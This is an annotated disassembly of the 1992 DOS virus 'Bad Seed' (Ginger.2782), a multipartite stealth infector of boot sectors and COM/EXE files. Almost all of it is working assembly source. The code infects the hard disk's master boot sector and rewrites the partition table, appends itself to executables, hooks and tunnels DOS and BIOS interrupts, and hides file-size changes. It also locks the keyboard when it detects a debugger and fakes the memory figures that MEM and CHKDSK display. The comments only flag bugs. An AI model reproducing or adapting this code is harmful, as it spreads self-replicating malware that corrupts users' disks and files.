; Bad Seed (Ginger.2782) disasm. ; Multipartite full-stealth MBS/COM/EXE. ; Quite a good virus for it's time (1992), yet the coding style could be ; made more compact, and it's buggy aswell. ; Bugs marked with '***'. ; T-2000/IR, February 2000 - September 2000. .MODEL TINY .CODE Virus_Size EQU (End_Body-START) Virus_Size_512 EQU ((End_Body-START)+511)/512 Virus_Size_1024 EQU 3 COM EQU 1 EXE EQU 0 Boot EQU 0 File EQU 1 START: CALL File_Entry Boot_Loader: ; *** This code assumes DS = 0, which ; does not necessarly have to be the case. ; Restore original word that was temporary ; replaced with the 55AAh bootmarker. MOV WORD PTR DS:[7C00h+510], 0 Original_Word = WORD PTR $-2 ; Steal 3k of DOS memory to hide the virus in. SUB WORD PTR DS:[413h], Virus_Size_1024 INT 12h ; Get new DOS memory size. MOV CL, 6 ; Calculate segment where to SHL AX, CL ; hide. MOV ES, AX ; ES = virus segment. ; Read rest of virusbody off disk. MOV AX, 0200h+(Virus_Size_512-1) MOV BX, 512+3 MOV CX, 3 INT 13h MOV AL, 0E8h ; CALL xxxx opcode. XOR DI, DI ; A call to the entrypoint CLD ; for file infections. STOSB MOV AX, (File_Entry-Boot_Loader) STOSW MOV CX, (512/2) ; Copy virus bootsector MOV SI, 7C00h ; too to virus segment. REP MOVSW ; Initialize some variables. MOV ES:Ofs_Old_Int13h, OFFSET Old_Int13h MOV ES:Ofs_Real_Int13h, OFFSET Real_Int13h MOV ES:Origin, Boot MOV ES:File_Handle, 0 MOV SI, OFFSET Hook_Ints PUSH ES ; Relocated virus code. PUSH SI MOV AX, OFFSET Boot_Int21h MOV SI, OFFSET Boot_Loader MOV DI, OFFSET Old_Int08h NOP RETF ; Jump to relocated code. EXE_Data: EXE_SP DW 0 EXE_SS DW 0 EXE_IP DW 0 EXE_CS DW 0 DB 'You can''t catch the Gingerbread Man!!' File_Entry: XCHG BP, AX ; Save AX (FCB-status) in BP. POP SI ; POP delta offset. PUSH ES ; Save ES & DS (PSP). PUSH DS PUSH CS POP DS MOV AX, 0EEE7h ; See if virus is already INT 21h ; TSR. CMP AX, 0D703h ; It is? JE JMP_Run_Host ; Then bail to host. MOV ES, ES:[2Ch] ; Environment block. CLD XOR DI, DI Find_ComSpec: PUSH SI ; Scan for COMSPEC= to find the command interpreter. ADD SI, (ComSpec_String-Boot_Loader) MOV CX, 8 REPE CMPSB PUSHF CALL Get_End_DI ; Go to the next setting. POPF JE Save_ComSpec ; Yeah got it.. POP SI JNE Find_ComSpec ; Repeat the search. JMP_Run_Host: JMP Run_Host DB 'Bad Seed - Made in OZ' Save_ComSpec: PUSH DS ; Swap DS & ES. PUSH ES POP DS POP ES XCHG SI, DI ; SI = end of path to command ; interpreter. STD ; SI = last byte of path to LODSW ; command interpreter. MOV CX, SI ; Remember end offset. DEC CX ; Exclude the '\'. ADD DI, 12 ; DI = end of ComSpec_Value. ; *** Buffer is 1 byte too ; small, now filenames with ; 8 characters will fuck up. Copy_ComSpec: LODSB STOSB CMP AL, '\' ; Copied entire filename? JNE Copy_ComSpec ; Otherwise just go on. SUB CX, SI ; Get the size of the command ; interpreter filename. POP SI PUSH CS POP DS ; Keep it for later use. MOV [SI+(ComSpec_Length-Boot_Loader)], CL MOV BYTE PTR [SI+(Origin-Boot_Loader)], File XOR AX, AX ; ES = IVT. MOV ES, AX PUSH SI ; Copy the stealth code to an unused piece ; of memory (only used during bootup). ADD SI, (File_Int21h-Boot_Loader) MOV DI, 600h MOV CX, (End_Body-File_Int21h) CLD REP MOVSB POP SI MOV DS, CX ; DS = IVT. ; Patch appropriate offsets. MOV DS:600h+(Ofs_Old_Int13h-File_Int21h), 600h+(Old_Int13h-File_Int21h) MOV DS:600h+(Ofs_Real_Int13h-File_Int21h), 600h+(Real_Int13h-File_Int21h) MOV AX, 600h ; INT 21h ISR to hook up. Hook_Ints: CLI ; Starting from a bootsector or file? CMP BYTE PTR CS:[SI+(Origin-Boot_Loader)], Boot JNE Hook_Int21h MOV AX, OFFSET New_Int08h ; Hook INT 08h. XCHG DS:[(08h*4)], AX STOSW MOV AX, CS XCHG DS:[(08h*4)+2], AX STOSW MOV DS:[(21h*4)+2], 0FFFFh ; Initialize DOS segment to ; a dummy value so the virus ; can determine when DOS has ; been loaded. STI ADD DI, (Old_Int13h-(Old_Int08h+4)) JMP SHORT Init_Tunnel_13 Hook_Int21h: XCHG DS:[(21h*4)], AX ; Hook INT 21h. STOSW XCHG BX, AX ; Save original INT 21h. MOV AX, ES XCHG DS:[(21h*4)+2], AX STOSW XCHG BX, AX ; Store original INT 21h STOSW ; another time. XCHG BX, AX STOSW ; Hook INT 01h for recursive tunneling. LEA AX, CS:[SI+(New_Int01h-Boot_Loader)] XCHG DS:[(01h*4)], AX STOSW MOV AX, CS XCHG DS:[(01h*4)+2], AX STOSW STI Init_Tunnel_13: CLC ; Save INT 13h, then tunnel ; INT 13h. PUSH ES Save_Int13h: PUSH DS LDS BX, DS:[(13h*4)] ; Get (tunneled) INT 13h. MOV AX, BX ; Save (tunneled) INT 13h. STOSW MOV AX, DS STOSW JC Pick_i13h_ISR ; Already tunneled INT 13h ? PUSH DS ; ES:BX = INT 13h. POP ES PUSHF ; Recursively tunnel INT 13h PUSH CS ; if origin is file, else CALL Tunnel_Int13h ; just save INT 13h. POP DS POP ES STC ; Set flag to only save JC Save_Int13h ; INT 13h. Pick_i13h_ISR: POP DS PUSH SI CMP BYTE PTR CS:[SI+(Origin-Boot_Loader)], Boot PUSHF ; Stealth ISR. MOV SI, 600h+(Boot_Int13h-File_Int21h) JNE Hook_Int13h ; Stealth/infection ISR. MOV SI, OFFSET Boot_Int13h Hook_Int13h: CLI ; Hook the virus up. MOV DS:[(13h*4)], SI MOV DS:[(13h*4)+2], ES STI POPF POP SI PUSH CS POP DS JE Run_Old_Boot ; Pass control to real BS. ; If running from a file then go infect the MBS. PUSH ES PUSH CS POP ES MOV AX, 0201h ; Read the MBS of HDD 1. LEA BX, CS:[SI+(Buffer-Boot_Loader)] MOV CX, 1 MOV DX, 80h INT 03h POP ES JNC Scan_Part_Tbl ; Go on if no error. JMP SHORT Swap_Boot_ID ; Error, bail. Scan_Part_Tbl: MOV CX, 4 ; Maximum of 4 partitions. MOV DI, 1BEh ; Start of partition info. Find_Act_Part: TEST BYTE PTR [BX+DI], 80h ; It's the active partition? JNZ Chk_Partition ADD DI, 16 ; Next partition. LOOP Find_Act_Part ; Check all partitions. Run_Host: POP DS ; Restore PSP. MOV DX, DS ; Save PSP in DX. POP ES ; This host is of EXE-type? CMP CS:[SI+(Host_Header-Boot_Loader)], 'ZM' JE Restore_EXE ; Restore .COM-file in memory and execute it. ADD SI, (Host_Header-Boot_Loader) MOV DI, 100h PUSH CS ; Push entrypoint of host PUSH DI ; *** CS mod ain't needed. MOVSB ; Restore first 3 bytes of MOVSW ; the host. XOR AX, AX ; Clear registers. XOR BX, BX XOR CX, CX XOR DX, DX XOR SI, SI XOR DI, DI XCHG BP, AX ; Restore FCB status in AX. RETF ; Jump to the host. Run_Old_Boot: XOR CX, CX ; Zero ES. MOV ES, CX MOV AX, 0201h ; Read the standard MS-DOS MOV BX, 7C00h ; bootsector. MOV CX, 1 MOV DX, 0180h INT 13h PUSH ES ; And go execute it. PUSH BX RETF Restore_EXE: ADD DX, (100h/16) ; Get effective segment. ; Update old CS & SS with it. ADD CS:[SI+(EXE_CS-Boot_Loader)], DX ADD DX, CS:[SI+(EXE_SS-Boot_Loader)] ; Restore host's original stack. MOV SS, DX MOV SP, CS:[SI+(EXE_SP-Boot_Loader)] XCHG BP, AX ; Restore AX (FCB status). ; Jump to the host's original entrypoint. JMP DWORD PTR CS:[SI+(EXE_IP-Boot_Loader)] Chk_Partition: INC DI ; Start of partition. MOV ES:[600h+(Act_Partition-File_Int21h)], DI MOV DS:[SI+(Act_Partition-Boot_Loader)], DI MOV AX, 0200h ; Head 0, sector 2 (where ; the virusbody is located). CMP DS:[BX+DI], AX ; MBS is already infected? JE Run_Host ; Then just bail out. MOV DS:[BX+DI], AX ; Point partition's boot- ; sector to virusbody. PUSH CS POP DS CLC ; No errors so far.. Swap_Boot_ID: MOV AX, 0AA55h ; Bootsector ID. XCHG DS:[SI+510], AX ; Swap-in bootsector ID. PUSH AX ; Save original word. JC Chk_If_Unhook ; Error occurred? ; Save original word in virusbody. MOV [SI+(Original_Word-Boot_Loader)], AX PUSH CS POP ES MOV AX, 0301h ; Write patched MBS back MOV CX, 1 ; to disk. MOV DX, 80h INT 03h JC Chk_If_Unhook ; Write the virusbody to the zero-track. MOV AX, 0300h + (Virus_Size_512) MOV BX, SI MOV CX, 2 INT 03h Chk_If_Unhook: MOV AX, 0 ; Zero DS & ES (without MOV ES, AX ; changing any flags). MOV DS, AX PUSH SI CLD CLI JNC Restore_Int03h ; Harddisk was succesfully ; infected? If not, unhook ; the INT 13h stealth. MOV SI, 600h+(Old_Int13h-File_Int21h) MOV DI, (13h*4) MOVSW MOVSW Restore_Int03h: POP SI PUSH SI PUSH CS POP DS ; Restore INT 03h. ADD SI, (Old_Int03h-Boot_Loader) MOV DI, (03h*4) MOVSW MOVSW STI POP SI POP DS:[SI+510] ; Restore original word. JMP Run_Host ; Called with ES:BX as vector address of INT 13h. Tunnel_Int13h: PUSHF ; Not necessary to tunnel from boot. CMP BYTE PTR CS:[SI+(Origin-Boot_Loader)], Boot JE Push_CS_IP POPF MOV AX, 300h ; Flags, TF & IF enabled. PUSH AX Push_CS_IP: PUSH ES ; Untunneled INT 13h. PUSH BX MOV AH, 01h ; Get status byte. MOV DL, 80h ; 1st HDD. New_Int01h: CLI PUSH BP ; Setup a stack pointer. MOV BP, SP PUSH BX ; Save scrap registers. PUSH AX MOV BX, CS ; *** Not used. MOV AX, [BP+(2*2)] ; Get segment of next ; instruction. CMP AX, 70h ; In the DOS kernel? JA Exit_Int01h ; If not then get out. PUSH DS PUSH ES XOR BX, BX ; DS = IVT. MOV DS, BX MOV DS:[(13h*4)+2], AX ; Set tunneled address in ; IVT. MOV BX, [BP+(1*2)] ; And the IP.. MOV DS:[(13h*4)], BX PUSH DI CALL Get_Delta_1 Old_Int03h DW 0, 0 Get_Delta_1: POP DI ; POP delta offset. PUSH CS POP ES CLD XCHG BX, AX ; Revector the tunneled XCHG DS:[(03h*4)], AX ; INT 13h to INT 03h. STOSW XCHG BX, AX XCHG DS:[(03h*4)+2], AX STOSW PUSH DS ; ES = IVT. POP ES PUSH SI ; Unhook INT 01h. MOV SI, 600h+(Old_Int01h-File_Int21h) MOV DI, (01h*4) MOVSW MOVSW POP SI POP DI POP ES POP DS Exit_Int01h: POP AX ; Restore registers. POP BX POP BP STI ; *** Useless instruction. IRET ComSpec_String DB 'COMSPEC=' ComSpec_Value DB 13 DUP (0) ComSpec_Length DW 0 New_Int08h: PUSH DS PUSH AX XOR AX, AX ; DS = IVT. MOV DS, AX CMP DS:[(21h*4)+2], 1000h ; DOS hasn't grabbed INT 21h JA Exit_Int08h ; yet? Then wait some more.. PUSH ES PUSH SI PUSH DI PUSH CS POP ES MOV AX, CS MOV DI, OFFSET Old_Int21h+2 NOP STD ; Hook INT 21h. CLI XCHG AX, DS:[(21h*4)+2] STOSW MOV AX, OFFSET Boot_Int21h XCHG AX, DS:[(21h*4)] STOSW PUSH DS ; Swap DS & ES. PUSH ES POP DS POP ES MOV SI, DI ; Unhook INT 08h. MOV DI, (08h*4)+2 MOVSW MOVSW STI POP DI POP SI POP ES Exit_Int08h: POP AX POP DS JMP DWORD PTR CS:Old_Int08h Boot_Int21h: PUSH DS PUSH AX XOR AX, AX ; DS = IVT. MOV DS, AX MOV AX, DS:[(01h*4)] ; Offset of INT 01h's ISR. CMP AX, DS:[(03h*4)] ; Same as INT 03h's ? JNE Lock_Keyboard MOV AX, DS:[(01h*4)+2] ; Segment of INT 01h's ISR. CMP AX, DS:[(03h*4)+2] ; Same as INT 03h's ? JE Exit_No_Debug ; If INT 01h != INT 03h then ; a debugger is active. Lock_Keyboard: MOV AL, 10000010b ; Disable keyboard & printer. OUT 21h, AL Exit_No_Debug: POP AX POP DS Test_11h_12h: CMP AH, 11h ; Findfirst (FCB) ? JE Do_FCB_Stealth CMP AH, 12h ; Findnext (FCB) ? JNE Check_4_Create ; This is the routine Rock Steady/NuKE used in his ; FCB stealth tut, with one or two bytes changed. ; The rest of the code also shows a certain influence ; of the Rock Steady tuts. Do_FCB_Stealth: CALL Do_Old_Int21h ; Do the filefind. TEST AL, AL ; Error? JNZ IRET_FCB_St PUSH ES PUSH AX PUSH BX MOV AH, 51h ; Obtain current PSP. CALL Do_Old_Int21h MOV ES, BX CMP BX, ES:[16h] ; Owner PSP == PSP ? (ie. is JNE Exit_FCB_St ; command interpreter?). MOV BX, DX MOV AL, [BX] ; Get first byte of FCB. PUSH AX MOV AH, 2Fh ; Obtain current DTA. CALL Do_Old_Int21h POP AX INC AL ; It's an extended FCB ? JNZ Test_Seconds ADD BX, 7 ; Then skip extended stuff. Test_Seconds: MOV AX, ES:[BX.FCB_Time] ; Grab time word. AND AX, 0000000000011111b ; Mask out seconds value. XOR AL, (60/2) ; 60 seconds? (infected?). JNZ Exit_FCB_St ; Set the seconds value in the DTA to 2. AND BYTE PTR ES:[BX.FCB_Time], 11100000b OR BYTE PTR ES:[BX.FCB_Time], (2/2) ; Subtract the virussize from the filesize. SUB ES:[BX.FCB_Size], Virus_Size SBB ES:[BX.FCB_Size+2], AX Exit_FCB_St: POP BX POP AX POP ES IRET_FCB_St: IRET Check_4_Create: CMP AH, 3Ch ; Create/truncate file? JE Set_RW_BX ; Then save it's handle ; so it can be infected ; on close. CMP AH, 3Dh ; Open file? JE Set_RW_AL ; Go infect it. CMP AH, 3Eh ; Close file? JNE Check_4_Read JMP Infect_3E ; Infect it if it was ; a newly created file. Check_4_Read: CMP AH, 3Fh ; Read file? JE J_Go_Chk_Secs ; Stealth the read. CMP AH, 40h ; Write file? JE J_Go_Chk_Secs ; Disinfect the file. CMP AH, 42h ; Seek file? JNE Check_4_Exec CMP AL, 02h ; Seek EOF relative? JB J1_J_Old_i21h J_Go_Chk_Secs: JMP Go_Check_Secs ; Stealth stuff. Check_4_Exec: CMP AH, 4Bh ; Execute/load file? JNE Check_4_Exit CMP AL, 02h ; It's either 4B00h or 4B01h? JB CALL_Do_Infect ; Else don't infect. JMP SHORT J1_J_Old_i21h Set_RW_AL: CMP CS:Windows_Active, 1 ; Is Windoze running? Then JE J1_J_Old_i21h ; don't do anything. CMP AX, 3D01h ; Open file, write-only? JNE CALL_Do_Infect INC AL ; Then change access mode to ; read/write so the virus ; can read from it when it ; wants to disinfect it. CALL_Do_Infect: CALL Do_Infect ; Infect it. J1_J_Old_i21h: JMP JMP_Old_Int21h Check_4_Exit: CMP AH, 4Ch ; Program terminate? JNE Check_4_Date_T JMP Check_Win_Exit ; Go check if it's Windoze. Check_4_Date_T: CMP AH, 57h ; Get/set file date & time? JNE Chk_4_Create_N JMP Stealth_Seconds ; Don't let em fuck with the ; seconds. Chk_4_Create_N: CMP AH, 5Bh ; Create new file? JE Set_RW_BX ; Save it's handle for later. CMP AX, 6C00h ; Extended open/create? JNE Chk_4_Res_Chk Set_RW_BX: CMP CS:Windows_Active, 1 ; Is Windoze up and running? JE J1_J_Old_i21h ; Then abort any infection. PUSH BX PUSH DX CMP AX, 6C00h ; Don't infect on create. JNE Save_Handle OR BL, 00000010b ; Change access mode to AND BL, 11111110b ; read/write. MOV DX, SI ; DX = offset filepath. CALL Do_Infect Save_Handle: PUSH BX PUSH ES PUSH AX PUSH CX PUSH SI PUSH DI PUSH DS POP ES CALL Get_End_DX ; Go to end of path. STD MOV SI, DI LODSB ; SI = last word extension. LODSW CALL Check_Extension ; .COM/EXE extension? MOV CS:Valid_Handle, CL ; Mark handle as invalid (0). JNE Do_Open_Create INC CX ; Mark handle as valid (1). MOV CS:Valid_Handle, CL Do_Open_Create: POP DI POP SI POP CX POP AX POP ES POP BX POP DX PUSH AX CALL Do_Old_Int21h ; Do the open/create call. JC Clear_Inf_Hand INC SP ; Remove the top word on INC SP ; the stack. XCHG BX, AX ; Save the new filehandle. PUSH CX PUSH DX MOV AX, 5700h ; Get file's date & time. CALL Do_Old_Int21h CALL Check_60_Secs ; It's infected? POP DX POP CX XCHG BX, AX JNE Save_Inf_Hand MOV CS:Valid_Handle, AL ; Mark handle as valid (> 0). Save_Inf_Hand: MOV CS:File_Handle, AL ; Save this filehandle. POP BX JMP IRET_Flags Clear_Inf_Hand: MOV CS:Valid_Handle, 0 ; Reset handle-valid boolean. POP AX POP BX JMP JMP_Old_Int21h Chk_4_Res_Chk: CMP AX, 0EEE7h ; It's the virus' TSR check? JE Return_ID_1 JMP JMP_Old_Int21h Return_ID_1: MOV AH, 0D7h ; Return ID in AX and return. New_Int24h: MOV AL, 03h ; Fail silently. IRET Get_End_DX: MOV DI, DX Get_End_DI: XOR AL, AL ; Scan to the end of the MOV CL, 128 ; filepath. CLD REPNZ SCASB RETN Do_Infect: PUSH ES PUSH BX PUSH CX PUSH SI PUSH DI PUSH DS PUSH DX PUSH DS POP ES PUSH AX CALL Get_End_DX DEC DI ; DI = last byte of filename. DEC DI PUSH CS POP DS MOV CX, ComSpec_Length MOV SI, OFFSET ComSpec_String+8+12 STD PUSH DI Comp_ComSpec: LODSB ; Save ComSpec byte in AH. MOV AH, AL XCHG SI, DI LODS BYTE PTR ES:[SI] ; Fetch byte from filename. XCHG SI, DI AND AX, 5F5Fh ; Convert word to uppercase. CMP AH, AL ; Bytes match? JNE Go_Check_Ext ; If not it's not ComSpec. LOOP Comp_ComSpec POP DI ; If it get's to here, the ; file is the COMSPEC, and JMP Exit_Infect ; infection is denied. ; Returns ZF if file has COM/EXE extension. Check_Extension: MOV CX, 2 Get_Extension: LODS WORD PTR ES:[SI] AND AX, 5F5Fh ; Uppercase. XCHG BX, AX LOOP Get_Extension CMP AX, 'MO' JNE Check_For_EXE CMP BX, 'C.' AND 5F5Fh RETN Check_For_EXE: CMP AX, 'EX' JNE Exit_Check_Ext CMP BX, 'E.' AND 5F5Fh Exit_Check_Ext: RETN Go_Check_Ext: POP SI ; SI = last byte of filename. DEC SI ; SI = last word of filename. POP AX ; AX on entry. PUSH AX CMP AX, 4B00h ; Program execute? PUSHF CALL Check_Extension ; File has COM/EXE extension? JE Go_Chk_Win_Act POPF JE Find_File_Name JMP Exit_Infect DB 'CHKDSK', 0 Windows_Active = BYTE PTR $-1 DB 'MEM' Mem_String = $-1 Go_Chk_Win_Act: POPF JNE Check_Windows Find_File_Name: INC SI ; DI = byte before dot. MOV DI, SI INC SI ; SI = extension dot. MOV CX, SI ; Calculate path length. SUB CX, DX XCHG SI, DI Chk_Start_Name: LODS BYTE PTR ES:[SI] ; Fetch a byte from path. CMP AL, '\' ; Path seperator? Then start JE Get_Start_Name ; of filename is found. LOOP Chk_Start_Name JNE Chk_File_Name Get_Start_Name: INC SI ; SI = start of filename. INC SI MOV DX, SI Chk_File_Name: MOV CX, DI ; Calculate length of SUB CX, DX ; filename without extension. DEC DI ; DI = last byte of filename. MOV SI, OFFSET Mem_String CMP CX, 3 ; Can it be 'MEM' ? JE Compare_Byte LODSW ; SI = 'CHKDSK' string. LODSW CMP CX, 6 ; Can it be 'CHKDSK' ? JNE Check_Windows Compare_Byte: LODSB ; Fetch byte of filename and MOV AH, AL ; save it in AH. XCHG SI, DI LODS BYTE PTR ES:[SI] ; Fetch byte of match string. AND AX, 5F5Fh ; Convert to uppercase. CMP AH, AL ; Bytes are the same? JNE Check_4_Win ; If not, skip this shit. XCHG SI, DI LOOP Compare_Byte ; Now that either MEM or CHKDSK are about to be executed, the ; virus will temporarily hook INT 12h to stealth the total ; amount of DOS memory available, which these programs will ; display. MOV AX, OFFSET New_Int12h MOV DI, OFFSET Old_Int12h NOP MOV DS, CX ; DS = IVT. PUSH CS POP ES CLD CLI XCHG DS:[(12h*4)], AX ; Save & hook INT 12h. STOSW MOV AX, CS XCHG DS:[(12h*4)+2], AX STOSW STI JMP SHORT Check_Windows Check_4_Win: CMP CX, 3 ; Can it be 'WIN.COM' ? JNE Check_Windows CMP AL, 'N' ; (WI)N ? JNE Check_Windows DEC SI ; SI = 1st word of filename. LODS WORD PTR ES:[SI] AND AX, 5F5Fh ; Uppercase. CMP AX, 'IW' ; So it's WIN.COM ? JNE Check_Windows MOV Windows_Active, 1 ; Set Windoze-active flag. Check_Windows: CMP CS:Windows_Active, 1 ; Don't infect under Windoze. JE Exit_Infect CLI XOR CX, CX ; DS = IVT. MOV DS, CX LES BX, DS:[(24h*4)] ; Save original INT 24h. PUSH ES PUSH BX ; Install own dummy critical-error handler. MOV DS:[(24h*4)], OFFSET New_Int24h MOV DS:[(24h*4)+2], CS STI PUSH DS PUSH BP ; Setup stackframe. MOV BP, SP LDS DX, [BP+(5*2)] ; DS:DX = path of file. POP BP PUSH DS PUSH DX MOV AX, 4300h ; Get file's attributes. CALL Do_Old_Int21h PUSH CX JC Restore_Attr TEST CL, 00000001b ; Readonly bit set? JZ Open_File DEC CX ; Remove readonly bit. MOV AX, 4301h ; Set new attributes. CALL Do_Old_Int21h Open_File: MOV AX, 3D02h ; Open target file for r/w. CALL Do_Old_Int21h JC Restore_Attr XCHG BX, AX ; Save filehandle in BX. MOV AX, 5700h ; Get file date & time. CALL Do_Old_Int21h JC Close_File CALL Check_60_Secs ; Already infected? JE Close_File PUSH CX ; Save original filedate & PUSH DX ; time with 60 seconds set. CALL Infect_Handle ; Infect the handle. POP DX POP CX JC Close_File ; Error occurred? MOV AX, 5701h ; Restore file date & time CALL Do_Old_Int21h ; with 60 seconds. Close_File: MOV AH, 3Eh ; Close the file. CALL Do_Old_Int21h Restore_Attr: POP CX ; File path & attributes. POP DX POP DS JC Restore_Int24h ; Error occurred? TEST CL, 00000001b ; Need to restore the JZ Restore_Int24h ; readonly flag? MOV AX, 4301h ; Fix file-attributes. CALL Do_Old_Int21h Restore_Int24h: POP DS POP BX POP AX MOV DS:[(24h*4)], BX ; Restore INT 24h. MOV DS:[(24h*4)+2], AX Exit_Infect: POP AX POP DX POP DS POP DI POP SI POP CX POP BX POP ES RETN Infect_Handle: PUSH CS POP DS MOV DX, OFFSET Buffer ; Read file's header. NOP MOV CX, 24 MOV AH, 3Fh CALL Do_Old_Int21h SUB CX, AX ; All bytes were read? JNZ Error_Exit_Inf PUSH DS ; ES = CS. POP ES XCHG CX, AX ; CX = 24. MOV SI, DX ; Save a copy of the original MOV DI, OFFSET Host_Header ; header. CLD REP MOVSB MOV DI, DX ; DX = header. MOV SI, OFFSET EXE_Data ; Save host's original SS:SP. LES AX, DWORD PTR [DI.Program_SS] MOV [SI+(EXE_SP-EXE_Data)], ES MOV [SI+(EXE_SS-EXE_Data)], AX ; Save host's original CS:IP. LES AX, DWORD PTR [DI.Program_IP] MOV [SI+(EXE_IP-EXE_Data)], AX MOV [SI+(EXE_CS-EXE_Data)], ES MOV Host_Type, CL ; Initialize file as .EXE. MOV AX, 'MZ' ; EXE marker. CMP AX, [DI.EXE_ID] ; .EXE-ID is 'ZM' ? XCHG AH, AL ; Change .EXE-ID to 'MZ'. JNE Check_For_MZ MOV [DI.EXE_ID], AX ; Set .EXE-ID to 'MZ'. Check_For_MZ: CMP AX, [DI.EXE_ID] ; 'MZ' .EXE-file? JE Save_File_Size INC Host_Type ; Mark as .COM-file. Save_File_Size: MOV AX, 4202h ; Seek to EOF. MOV DX, CX CALL Do_Old_Int21h JC Exit_Inf_Hand ; Remember size of host for later use. MOV [DI+(Host_Size-Buffer)], AX MOV [DI+(Host_Size-Buffer)+2], DX CMP Host_Type, EXE ; File is .EXE-type? Then JE Check_Header ; size check ain't needed. CMP AX,-(Virus_Size+264h) ; .COM-file ain't too big? JB Append_Body Error_Exit_Inf: STC ; Else mark error. Exit_Inf_Hand: RETN Check_Header: PUSH DI MOV CX, 9 MOV SI, [DI.File_512_Pages] ; Filesize in 512-byte pages. DEC SI ; Undo 512-byte round. XOR DI, DI ; DI:SI = imagesize. Mul_512: SHL SI, 1 ; Calculate imagesize in RCL DI, 1 ; DI:SI. LOOP Mul_512 CMP DX, DI ; High word doesn't match? POP DI JNE Error_Exit_Inf ; Then it's an overlay. ADD SI, [DI.Image_Mod_512] ; Image size remainder. ; Low word of filesize doesn't match? CMP SI, [DI+(Host_Size-Buffer)] JNE Error_Exit_Inf CMP AX, Virus_Size ; .EXE can't be smaller than SBB DX, 0 ; the virus itself. JC Exit_Inf_Hand XOR DX, DX CMP DX, [DI.Max_Size_Mem] ; Can't have a NULL maximum JE Error_Exit_Inf ; memory requirement. Append_Body: MOV CX, Virus_Size ; Append virusbody to file. MOV AH, 40h CALL Do_Old_Int21h JC Exit_Inf_Hand SUB CX, AX ; Were all bytes written? JNZ Error_Exit_Inf ; Else mark as failure. MOV DX, CX ; *** DX is already zero. MOV AX, 4200h ; Seek to BOF. CALL Do_Old_Int21h JC Exit_Inf_Hand MOV AX, [DI+(Host_Size-Buffer)] CMP Host_Type, COM JE Infect_COM Infect_EXE: MOV DX, [DI+(Host_Size-Buffer)+2] MOV CX, 4 PUSH DI MOV SI, [DI.Header_Size] XOR DI, DI Mul_16: SHL SI, 1 ; Calculate headersize. RCL DI, 1 LOOP Mul_16 SUB AX, SI ; Calculate imagesize. SBB DX, DI POP DI MOV CL, 12 ; 64k's DIV 4096 to get the SHL DX, CL ; new CS. MOV [DI.Program_IP], AX MOV [DI.Program_CS], DX ADD DX, 3408/16 ; Set new stack. MOV [DI.Program_SP], AX MOV [DI.Program_SS], DX ADD [DI.Min_Size_Mem], 448/16 MOV AX, [DI.Min_Size_Mem] CMP AX, [DI.Max_Size_Mem] ; MaxMemSize must be atleast JB Calc_New_Img_S ; MinMemSize. MOV [DI.Max_Size_Mem], AX ; MaxMemSize == MinMemSize. Calc_New_Img_S: MOV AX, [DI.Image_Mod_512] ADD AX, Virus_Size PUSH AX AND AH, 1 ; AX modulo 512. MOV [DI.Image_Mod_512], AX POP AX MOV CL, 9 ; AX DIV 512. SHR AX, CL ADD [DI.File_512_Pages], AX MOV DX, OFFSET Buffer NOP MOV CX, 24 ; Write 24 bytes (MZ-header). JMP SHORT Write_Header Infect_COM: MOV DX, OFFSET Buffer NOP MOV DI, DX MOV BYTE PTR [DI], 0E9h ; JMP xxxx. INC DI SUB AX, 3 ; Calculate displacement. PUSH DS POP ES CLD ; Store JMP displacement. STOSW MOV CX, 3 ; Write 3 bytes (JMP_Virus). Write_Header: MOV AH, 40h ; Write modified header. CALL Do_Old_Int21h JC Bad_Exit CMP AX, CX ; All bytes were written? JE Good_Exit Bad_Exit: STC Good_Exit: RETN ; Infect the handle of a newly created file when it is closed. Infect_3E: CMP CS:File_Handle, BL ; They're closing our handle? JNE Go_Close_Hnd CMP CS:Valid_Handle, 1 ; Does File_Handle contain JNE Go_Close_Hnd ; a valid filehandle at all? DEC CS:Valid_Handle ; Reset the filehandle (0). PUSH DS PUSH ES PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI MOV AX, 4200h ; Seek to file's header. XOR CX, CX XOR DX, DX CALL Do_Old_Int21h CALL Infect_Handle ; Go infect the file. JC Exit_Infect_3E MOV AX, 5700h CALL Do_Old_Int21h INC AL ; *** Not used. OR CL, (62/2) ; Set 60 seconds. DEC CX MOV AX, 5701h CALL Do_Old_Int21h Exit_Infect_3E: POP DI POP SI POP DX POP CX POP BX POP AX POP ES POP DS Go_Close_Hnd: CALL Do_Old_Int21h JMP IRET_Flags Go_Check_Secs: PUSH ES PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI MOV AX, 5700h CALL Do_Old_Int21h OR AL, AL ; *** This seems fucked, CF JC Exit_Go_Chk_Se ; is always cleared after OR. CALL Check_60_Secs Exit_Go_Chk_Se: POP DI POP SI POP DX POP CX POP BX POP AX POP ES JE Stealth_Handle JMP JMP_Old_Int21h Check_60_Secs: MOV AL, CL OR CL, (62/2) ; Set 60 seconds. DEC CX XOR AL, CL RETN Stealth_Handle: PUSH DS PUSH DX PUSH CX PUSH AX PUSH CS POP DS MOV Read_Count, CX ; Save CX for later use. XOR CX, CX MOV New_Read_Count, CX MOV AX, 4201h ; Get current file position. XOR DX, DX CALL Do_Old_Int21h MOV File_Pos, AX ; Save it for later. MOV File_Pos+2, DX MOV AX, 4202h ; Get filesize. XOR DX, DX CALL Do_Old_Int21h SUB AX, Virus_Size ; Get original filesize. SBB DX, 0 MOV Orig_Size, AX ; Save it. MOV Orig_Size+2, DX POP AX CMP AH, 42h ; It is a seek EOF relative? JNE Rest_File_Pos POP CX ; CX:DX = EOF displacement. POP DX POP DS PUSH CX SUB DX, Virus_Size ; Do the seek relative to SBB CX, 0 ; the clean filesize instead CALL Do_Old_Int21h ; of the infected size. POP CX JMP IRET_Flags JMP_Cln_Handle: JMP Clean_Handle Rest_File_Pos: PUSH AX MOV AX, 4200h ; Restore original position. MOV DX, File_Pos MOV CX, File_Pos+2 CALL Do_Old_Int21h OR DX, DX ; They're attempting to JNZ JA_Chk_Body_Rd ; access the 1st 64k ? CMP AX, 23 ; The header in particular? JA_Chk_Body_Rd: JA Chk_Body_Reach POP AX ; Restore AX & CX. POP CX PUSH CX PUSH AX CMP AH, 3Fh ; It is a read? JNE JMP_Cln_Handle ; Else it's a write. MOV AX, CX ; AX = bytes to read. ADD CX, File_Pos ; Calculate end offset after ; the read. JC Calc_Count_Hdr ; Above 64k ? CMP CX, 24 ; Does the read touch the JB Sub_St_Size ; entire header? Calc_Count_Hdr: MOV AX, 24 ; Calculate howmany bytes SUB AX, File_Pos ; to stealth in the header. MOV New_Read_Count, AX ; Save the new read count. Sub_St_Size: SUB Read_Count, AX ; The header will be read by ; the virus, so adjust the 